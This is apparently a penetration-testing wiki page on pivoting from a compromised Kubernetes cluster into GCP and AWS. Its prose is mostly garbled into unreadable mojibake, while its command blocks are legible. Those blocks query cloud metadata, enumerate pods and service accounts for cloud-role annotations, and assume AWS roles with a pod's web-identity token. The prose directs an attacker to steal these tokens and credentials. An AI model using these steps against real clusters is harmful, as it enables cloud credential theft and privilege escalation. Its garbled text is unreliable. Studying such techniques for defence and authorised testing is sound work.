Kubernetes Pivoting to Clouds

Support HackTricks

GCP

рдпрджрд┐ рдЖрдк GCP рдХреЗ рдЕрдВрджрд░ рдПрдХ k8s рдХреНрд▓рд╕реНрдЯрд░ рдЪрд▓рд╛ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рдЖрдк рд╢рд╛рдпрдж рдЪрд╛рд╣реЗрдВрдЧреЗ рдХрд┐ рдХреНрд▓рд╕реНрдЯрд░ рдХреЗ рдЕрдВрджрд░ рдЪрд▓рдиреЗ рд╡рд╛рд▓рд╛ рдХреБрдЫ рдПрдкреНрд▓рд┐рдХреЗрд╢рди GCP рддрдХ рдХреБрдЫ рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ 2 рд╕рд╛рдорд╛рдиреНрдп рддрд░реАрдХреЗ рд╣реИрдВ:

GCP-SA рдХреБрдВрдЬреА рдХреЛ рдЧреБрдкреНрдд рдХреЗ рд░реВрдк рдореЗрдВ рдорд╛рдЙрдВрдЯ рдХрд░рдирд╛

GCP рддрдХ рдПрдХ kubernetes рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдкрд╣реБрдВрдЪ рджреЗрдиреЗ рдХрд╛ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рддрд░реАрдХрд╛ рд╣реИ:

  • рдПрдХ GCP рд╕реЗрд╡рд╛ рдЦрд╛рддрд╛ рдмрдирд╛рдПрдВ

  • рдЙрд╕ рдкрд░ рдЗрдЪреНрдЫрд┐рдд рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рдмрд╛рдЗрдВрдб рдХрд░реЗрдВ

  • рдмрдирд╛рдП рдЧрдП SA рдХреА рдПрдХ json рдХреБрдВрдЬреА рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ

  • рдЗрд╕реЗ рдкреЙрдб рдХреЗ рдЕрдВрджрд░ рдПрдХ рдЧреБрдкреНрдд рдХреЗ рд░реВрдк рдореЗрдВ рдорд╛рдЙрдВрдЯ рдХрд░реЗрдВ

  • GOOGLE_APPLICATION_CREDENTIALS рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ рдХреЛ рдЙрд╕ рдкрде рдХреА рдУрд░ рдЗрдВрдЧрд┐рдд рдХрд░реЗрдВ рдЬрд╣рд╛рдВ json рд╣реИред

рдЗрд╕рд▓рд┐рдП, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд░реВрдк рдореЗрдВ, рдпрджрд┐ рдЖрдк рдПрдХ рдкреЙрдб рдХреЗ рдЕрдВрджрд░ рдПрдХ рдХрдВрдЯреЗрдирд░ рд╕реЗ рд╕рдордЭреМрддрд╛ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЖрдкрдХреЛ рдЙрд╕ env рдЪрд░ рдФрд░ json рдлрд╛рдЗрд▓реЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП рдЬрд┐рдирдореЗрдВ GCP рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рд╣реИрдВред

GSA json рдХреЛ KSA рдЧреБрдкреНрдд рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдХрд░рдирд╛

GKE рдХреНрд▓рд╕реНрдЯрд░ рдХреЛ GSA рддрдХ рдкрд╣реБрдВрдЪ рджреЗрдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдмрд╛рдЗрдВрдб рдХрд░рдирд╛ рд╣реИ:

  • рдЕрдкрдиреЗ GKE рдХреНрд▓рд╕реНрдЯрд░ рдХреЗ рд╕рдорд╛рди рдирд╛рдорд╕реНрдерд╛рди рдореЗрдВ рдПрдХ Kubernetes рд╕реЗрд╡рд╛ рдЦрд╛рддрд╛ рдмрдирд╛рдПрдВ, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ:

Copy codekubectl create serviceaccount <service-account-name>
  • рдПрдХ Kubernetes Secret рдмрдирд╛рдПрдВ рдЬрд┐рд╕рдореЗрдВ GCP рд╕реЗрд╡рд╛ рдЦрд╛рддреЗ рдХреЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рд╣реЛрдВ, рдЬрд┐рд╕реЗ рдЖрдк GKE рдХреНрд▓рд╕реНрдЯрд░ рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред рдЖрдк рдЗрд╕реЗ gcloud рдХрдорд╛рдВрдб-рд▓рд╛рдЗрди рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреИрд╕рд╛ рдХрд┐ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рджрд┐рдЦрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ:

Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ Kubernetes Secret рдХреЛ Kubernetes рд╕реЗрд╡рд╛ рдЦрд╛рддреЗ рд╕реЗ рдмрд╛рдЗрдВрдб рдХрд░реЗрдВ:

Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

рджреВрд╕рд░реЗ рдЪрд░рдг рдореЗрдВ GSA рдХреЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ KSA рдХреЗ рд░рд╣рд╕реНрдп рдХреЗ рд░реВрдк рдореЗрдВ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ред рдлрд┐рд░, рдпрджрд┐ рдЖрдк GKE рдХреНрд▓рд╕реНрдЯрд░ рдХреЗ рдЕрдВрджрд░ рд╕реЗ рдЙрд╕ рд░рд╣рд╕реНрдп рдХреЛ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЙрд╕ GCP рд╕реЗрд╡рд╛ рдЦрд╛рддреЗ рддрдХ рдЙрдиреНрдирддрд┐ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

GKE рд╡рд░реНрдХрд▓реЛрдб рдкрд╣рдЪрд╛рди

рд╡рд░реНрдХрд▓реЛрдб рдкрд╣рдЪрд╛рди рдХреЗ рд╕рд╛рде, рд╣рдо рдПрдХ Kubernetes рд╕реЗрд╡рд╛ рдЦрд╛рддрд╛ рдХреЛ Google рд╕реЗрд╡рд╛ рдЦрд╛рддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред Kubernetes рд╕реЗрд╡рд╛ рдЦрд╛рддреЗ рдХреЗ рд╕рд╛рде рдЪрд▓рдиреЗ рд╡рд╛рд▓реЗ рдкреЙрдб Google рдХреНрд▓рд╛рдЙрдб APIs рддрдХ рдкрд╣реБрдБрдЪрддреЗ рд╕рдордп рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ Google рд╕реЗрд╡рд╛ рдЦрд╛рддреЗ рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рдорд╛рдгрд┐рдд рд╣реЛрдВрдЧреЗред

рдЗрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд╣рд▓реЗ рдЪрд░рдгреЛрдВ рдХреА рд╢реНрд░реГрдВрдЦрд▓рд╛ рдореЗрдВ GCP рдореЗрдВ рд╡рд░реНрдХрд▓реЛрдб рдкрд╣рдЪрд╛рди рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдирд╛ (рдЪрд░рдг) рдФрд░ рд╡рд╣ GCP SA рдмрдирд╛рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ рдЬрд┐рд╕реЗ рдЖрдк k8s рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред

  • рдирдП рдХреНрд▓рд╕реНрдЯрд░ рдкрд░ рд╡рд░реНрдХрд▓реЛрдб рдкрд╣рдЪрд╛рди рд╕рдХреНрд╖рдо рдХрд░реЗрдВ

gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • рдирдпрд╛ рдиреЛрдбрдкреВрд▓ рдмрдирд╛рдПрдВ/рдЕрдкрдбреЗрдЯ рдХрд░реЗрдВ (рдСрдЯреЛрдкрд╛рдпрд▓рдЯ рдХреНрд▓рд╕реНрдЯрд░ рдХреЛ рдЗрд╕рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ)

# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • K8s рд╕реЗ GCP рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде GCP рд╕реЗрд╡рд╛ рдЦрд╛рддрд╛ рдмрдирд╛рдПрдВ рдЬрд┐рд╕реЗ рдЕрдиреБрдХрд░рдг рдХрд░рдирд╛ рд╣реИ:

# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • рдХреНрд▓рд╕реНрдЯрд░ рд╕реЗ рдЬреБрдбрд╝реЗрдВ рдФрд░ рдЙрдкрдпреЛрдЧ рдХреЗ рд▓рд┐рдП рд╕реЗрд╡рд╛ рдЦрд╛рддрд╛ рдмрдирд╛рдПрдБ

# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • GSA рдХреЛ KSA рдХреЗ рд╕рд╛рде рдмрд╛рдЗрдВрдб рдХрд░реЗрдВ

# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • рдПрдХ рдкреЙрдб рдЪрд▓рд╛рдПрдБ рдЬрд┐рд╕рдореЗрдВ KSA рд╣реЛ рдФрд░ GSA рддрдХ рдкрд╣реБрдБрдЪ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ:

# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдХреЛ рдЬрд╛рдВрдЪреЗрдВ рддрд╛рдХрд┐ рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдиреЗ рдкрд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ:

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд░реВрдк рдореЗрдВ K8s рдХреЗ рдЕрдВрджрд░ рдЖрдкрдХреЛ SAs рдХреЗ рд▓рд┐рдП iam.gke.io/gcp-service-account рдПрдиреЛрдЯреЗрд╢рди рдХреА рдЦреЛрдЬ рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ SA GCP рдореЗрдВ рдХреБрдЫ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддрд╛ рд╣реИред рдПрдХ рдФрд░ рд╡рд┐рдХрд▓реНрдк рд╣реЛрдЧрд╛ рдХрд┐ рдХреНрд▓рд╕реНрдЯрд░ рдореЗрдВ рдкреНрд░рддреНрдпреЗрдХ KSA рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ рдФрд░ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЗрд╕рдХреЗ рдкрд╛рд╕ рдкрд╣реБрдБрдЪ рд╣реИред GCP рд╕реЗ рд╣рдореЗрд╢рд╛ рдмрд╛рдЗрдВрдбрд┐рдВрдЧ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдирд╛ рдФрд░ рдЬрд╛рдирдирд╛ рджрд┐рд▓рдЪрд╕реНрдк рд╣реЛрддрд╛ рд╣реИ рдХрд┐ рдЖрдк Kubernetes рдХреЗ рдЕрдВрджрд░ SAs рдХреЛ рдХреМрди рд╕рд╛ рдПрдХреНрд╕реЗрд╕ рджреЗ рд░рд╣реЗ рд╣реИрдВред

рдпрд╣ рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╣реИ рдЬреЛ рдЖрд╕рд╛рдиреА рд╕реЗ рд╕рднреА рдкреЙрдбреНрд╕ рдкрд░рд┐рднрд╛рд╖рд╛рдУрдВ рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡реГрддреНрддрд┐ рдХрд░рддреА рд╣реИ рдХрд┐ рдПрдиреЛрдЯреЗрд╢рди:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (Pods рдХреЗ рд▓рд┐рдП IAM рднреВрдорд┐рдХрд╛)

Pods рдХреЛ IAM рднреВрдорд┐рдХрд╛рдПрдБ рджреЗрдиреЗ рдХрд╛ рдПрдХ (рдкреБрд░рд╛рдирд╛) рддрд░реАрдХрд╛ рд╣реИ Kiam рдпрд╛ Kube2IAM рд╕рд░реНрд╡рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ред рдореВрд▓ рд░реВрдк рд╕реЗ, рдЖрдкрдХреЛ рдЕрдкрдиреЗ рдХреНрд▓рд╕реНрдЯрд░ рдореЗрдВ рдПрдХ daemonset рдЪрд▓рд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА рдЬрд┐рд╕рдореЗрдВ рдПрдХ рдкреНрд░рд┐рд╡рд┐рд▓реЗрдЬреНрдб IAM рднреВрдорд┐рдХрд╛ рд╣реЛред рдпрд╣ daemonset рдЙрди pods рдХреЛ IAM рднреВрдорд┐рдХрд╛рдУрдВ рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рджрд╛рди рдХрд░реЗрдЧрд╛ рдЬрд┐рдиреНрд╣реЗрдВ рдЗрд╕рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред

рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдЖрдкрдХреЛ рдпрд╣ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдХрд┐ рдХреМрди рд╕реА рднреВрдорд┐рдХрд╛рдПрдБ рдирд╛рдорд╕реНрдерд╛рди рдХреЗ рдЕрдВрджрд░ рдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рд╣реИрдВ, рдФрд░ рдЖрдк рдпрд╣ рдирд╛рдорд╕реНрдерд╛рди рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЗ рдЕрдВрджрд░ рдПрдХ рдПрдиреЛрдЯреЗрд╢рди рдХреЗ рд╕рд╛рде рдХрд░рддреЗ рд╣реИрдВ:

Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

рдПрдХ рдмрд╛рд░ рдЬрдм рдирд╛рдорд╕реНрдерд╛рди IAM рднреВрдорд┐рдХрд╛рдУрдВ рдХреЗ рд╕рд╛рде рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ Pods рдореЗрдВ рдЖрдк рдкреНрд░рддреНрдпреЗрдХ рдкреЙрдб рдкрд░рд┐рднрд╛рд╖рд╛ рдореЗрдВ рдЖрдк рдЬреЛ рднреВрдорд┐рдХрд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдЙрд╕реЗ рдЗрдВрдЧрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд░реВрдк рдореЗрдВ, рдпрджрд┐ рдЖрдк рдЗрди рдПрдиреЛрдЯреЗрд╢рди рдХреЛ рдкреЙрдбреНрд╕ рдпрд╛ рдиреЗрдорд╕реНрдкреЗрд╕ рдореЗрдВ рдпрд╛ рдПрдХ kiam/kube2iam рд╕рд░реНрд╡рд░ рдЪрд▓рд╛рддреЗ рд╣реБрдП (рд╕рдВрднрд╡рддрдГ kube-system рдореЗрдВ) рдкрд╛рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рд╣рд░ рдЙрд╕ рд░реЛрд▓ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдкрд╣рд▓реЗ рд╕реЗ рдкреЙрдбреНрд╕ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ рдФрд░ рдЕрдзрд┐рдХ (рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ AWS рдЦрд╛рддреЗ рддрдХ рдкрд╣реБрдВрдЪ рд╣реИ, рддреЛ рднреВрдорд┐рдХрд╛рдУрдВ рдХреА рд╕реВрдЪреА рдмрдирд╛рдПрдВ)ред

IAM рднреВрдорд┐рдХрд╛ рдХреЗ рд╕рд╛рде рдкреЙрдб рдмрдирд╛рдПрдВ

IAM рднреВрдорд┐рдХрд╛ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рд╡рд╣ рдЙрд╕реА AWS рдЦрд╛рддреЗ рдореЗрдВ рд╣реЛ рдЬреИрд╕реЗ рдХрд┐ kiam/kube2iam рднреВрдорд┐рдХрд╛ рдФрд░ рд╡рд╣ рднреВрдорд┐рдХрд╛ рдЗрд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдПред

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM Role for K8s Service Accounts via OIDC

рдпрд╣ AWS рджреНрд╡рд╛рд░рд╛ рдЕрдиреБрд╢рдВрд╕рд┐рдд рддрд░реАрдХрд╛ рд╣реИред

  1. рдлрд┐рд░ рдЖрдк рдПрдХ IAM рднреВрдорд┐рдХрд╛ рдмрдирд╛рддреЗ рд╣реИрдВ рдЬрд┐рд╕рдореЗрдВ SA рдХреЛ рдЖрд╡рд╢реНрдпрдХ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реЛрддреА рд╣реИрдВред

  2. рдПрдХ рд╡рд┐рд╢реНрд╡рд╛рд╕ рд╕рдВрдмрдВрдз рдмрдирд╛рдПрдВ IAM рднреВрдорд┐рдХрд╛ рдФрд░ SA рдирд╛рдо (рдпрд╛ рдЙрди namespaces рдХреЛ рдЬреЛ рднреВрдорд┐рдХрд╛ рдХреЛ namespace рдХреЗ рд╕рднреА SAs рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВ)ред рд╡рд┐рд╢реНрд╡рд╛рд╕ рд╕рдВрдмрдВрдз рдореБрдЦреНрдп рд░реВрдк рд╕реЗ OIDC рдкреНрд░рджрд╛рддрд╛ рдХрд╛ рдирд╛рдо, namespace рдХрд╛ рдирд╛рдо рдФрд░ SA рдХрд╛ рдирд╛рдо рдЬрд╛рдВрдЪреЗрдЧрд╛ред

  3. рдЕрдВрдд рдореЗрдВ, рдПрдХ SA рдмрдирд╛рдПрдВ рдЬрд┐рд╕рдореЗрдВ рднреВрдорд┐рдХрд╛ рдХреЗ ARN рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдПрдХ рдПрдиреЛрдЯреЗрд╢рди рд╣реЛ, рдФрд░ рдЙрд╕ SA рдХреЗ рд╕рд╛рде рдЪрд▓рдиреЗ рд╡рд╛рд▓реЗ рдкреЙрдбреНрд╕ рдХреЛ рднреВрдорд┐рдХрд╛ рдХреЗ рдЯреЛрдХрди рддрдХ рдкрд╣реБрдБрдЪ рд╣реЛрдЧреАред рдЯреЛрдХрди рдПрдХ рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрджрд░ рд▓рд┐рдЦрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдкрде AWS_WEB_IDENTITY_TOKEN_FILE рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)

# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

To get aws using the token from /var/run/secrets/eks.amazonaws.com/serviceaccount/token run:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд░реВрдк рдореЗрдВ, рдпрджрд┐ рдЖрдк рдПрдХ K8s рдХреНрд▓рд╕реНрдЯрд░ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ AWS рдореЗрдВ рдЙрдиреНрдирддрд┐ рдХреЗ рд▓рд┐рдП рдЙрд╕ рдПрдиреЛрдЯреЗрд╢рди рдХреЗ рд╕рд╛рде рд╕реЗрд╡рд╛ рдЦрд╛рддреЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдмрд╕ рдПрдХ IAM рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕реЗрд╡рд╛ рдЦрд╛рддреЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ pod рдХреЛ exec/create рдХрд░реЗрдВ рдФрд░ рдЯреЛрдХрди рдЪреБрд░рд╛рдПрдВред

рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрджрд┐ рдЖрдк рдПрдХ pod рдХреЗ рдЕрдВрджрд░ рд╣реИрдВ, рддреЛ AWS_ROLE_ARN рдФрд░ AWS_WEB_IDENTITY_TOKEN рдЬреИрд╕реЗ env рд╡реЗрд░рд┐рдПрдмрд▓реНрд╕ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред

рдХрднреА-рдХрднреА рдПрдХ рднреВрдорд┐рдХрд╛ рдХреА Turst Policy рдЦрд░рд╛рдм рддрд░реАрдХреЗ рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ рдФрд░ рдЕрдкреЗрдХреНрд╖рд┐рдд рд╕реЗрд╡рд╛ рдЦрд╛рддреЗ рдХреЛ AssumeRole рдкрд╣реБрдВрдЪ рджреЗрдиреЗ рдХреЗ рдмрдЬрд╛рдп, рдпрд╣ рд╕рднреА рд╕реЗрд╡рд╛ рдЦрд╛рддреЛрдВ рдХреЛ рджреЗрддреА рд╣реИред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдЖрдк рдПрдХ рдирд┐рдпрдВрддреНрд░рд┐рдд рд╕реЗрд╡рд╛ рдЦрд╛рддреЗ рдкрд░ рдПрдХ рдПрдиреЛрдЯреЗрд╢рди рд▓рд┐рдЦрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИрдВ, рддреЛ рдЖрдк рднреВрдорд┐рдХрд╛ рддрдХ рдкрд╣реБрдВрдЪ рд╕рдХрддреЗ рд╣реИрдВред

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ:

AWS - Federation Abuse

рдХреНрд▓рд╕реНрдЯрд░ рдореЗрдВ IAM рднреВрдорд┐рдХрд╛рдУрдВ рдХреЗ рд╕рд╛рде Pods рдФрд░ SAs рдЦреЛрдЬреЗрдВ

рдпрд╣ рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╣реИ рдЬреЛ рдЖрд╕рд╛рдиреА рд╕реЗ рд╕рднреА pods рдФрд░ sas рдкрд░рд┐рднрд╛рд╖рд╛рдУрдВ рдХреЛ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рджреЛрд╣рд░рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИ рдХрд┐ рдПрдиреЛрдЯреЗрд╢рди:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Node IAM Role

